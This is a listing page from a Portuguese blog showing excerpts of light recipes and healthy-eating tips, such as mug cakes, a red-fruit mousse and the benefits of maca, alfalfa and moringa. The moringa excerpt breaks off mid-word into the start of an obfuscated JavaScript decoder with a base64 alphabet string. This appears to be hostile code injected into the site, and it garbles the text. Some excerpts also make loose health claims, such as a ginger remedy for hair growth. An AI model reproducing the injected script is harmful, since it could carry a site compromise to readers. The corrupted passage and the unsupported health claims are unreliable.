Mousse de frutos vermelhos – Uma sobremesa light e irresistível

Ago 27, 2017 | Receitas

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Mousse de frutos vermelhos: Uma sobremesa light e irresistível     Nestes dias quentes de verão sentimos mais vontade de comer gelados ou outras sobremesas refrescantes. No entanto, todas essas tentações fazem mal à nossa saúde se consumidas em excesso e, por isso,...

Receita caseira para o cabelo crescer

Ago 21, 2017 | Saúde e bem estar

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Receita caseira para o cabelo crescer     Mais uma receita que tem resultados muito positivos! Hoje mostro-lhe uma receita simples, em que o ingrediente principal é o gengibre. Para além das propriedades desta planta para tratar gripes, é também muito útil para o seu...

Dicas saudáveis – benefícios da maca do Peru

Ago 8, 2017 | Saúde e bem estar

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Dicas saudáveis – benefícios da maca do Peru     A maca do Peru ou a maca peruana é uma planta medicinal do Peru. Está muito associada ao aumento do desejo sexual, mas tem muitos mais benefícios. Por isso, fique com estas dicas saudáveis sobre os benefícios da...

Arroz integral de lentilhas salteado com legumes para 4 pessoas

Ago 8, 2017 | Receitas

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Arroz integral de lentilhas salteado com legumes para 4 pessoas Hoje trago-lhe mais uma receita saudável e deliciosa: arroz integral de lentilhas salteado com legumes. O arroz integral é uma óptima fonte de fibra que melhora o bom funcionamento do nosso sistema...

Bolo de cereja na caneca – Uma sobremesa irresistível

Ago 1, 2017 | Receitas

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Bolo de cereja na caneca: Uma sobremesa irresistível     Adoro bolos de caneca! São rápidos, práticos e muito simples de fazer! Como sei que aí em casa também gostam, hoje trago-lhes a receita de bolo de cereja na caneca, uma verdadeira sobremesa sem culpa. Sem...

Bolo de cenoura na caneca com cobertura de chocolate negro

Jul 21, 2017 | Receitas

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Bolo de cenoura na caneca com cobertura de chocolate negro      Depois do sucesso do bolo de cenoura com cobertura de chocolate, hoje trago-lhe a versão caneca com menos calorias e muito mais saudável. E o melhor é que não estraga a dieta nem aumenta os dígitos da...

Dicas saudáveis – benefícios de alfafa + receita salada

Jul 20, 2017 | Saúde e bem estar

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Dicas saudáveis – benefícios de alfafa + receita salada     A alfafa é rica em vitaminas A, C, D, E, K e melhora o funcionamento do sistema imunitário, além de ajudar a eliminar o cansaço. É também rica em cálcio, potássio, ferro e diversos outros minerais. Como...

Dicas saudáveis – benefícios da moringa

Jul 13, 2017 | Saúde e bem estar

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Dicas saudáveis – benefícios da moringa     A moringa tem muitos benefícios, já que possui uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Os 10 alimentos que pode comer à vontade

Jul 12, 2017 | Saúde e bem estar

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Os 10 alimentos que pode comer à vontade     Ter uma alimentação saudável deveria ser uma prioridade de todos nós, mas, para muitos, escolher os produtos certos nem sempre é fácil. É por isso que fiz este artigo. Conheça aqui os 10 alimentos que pode comer à vontade e...

Receita de muffin light na caneca de morango e banana

Jul 8, 2017 | Receitas

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Receita de muffin light na caneca de morango e banana     A verdade é que passamos a vida numa correria e ter tempo para cozinhar pode ser uma tarefa difícil. É por isso que tantas pessoas adoram os bolos que se fazem na caneca! São simples, rápidos e práticos. Hoje...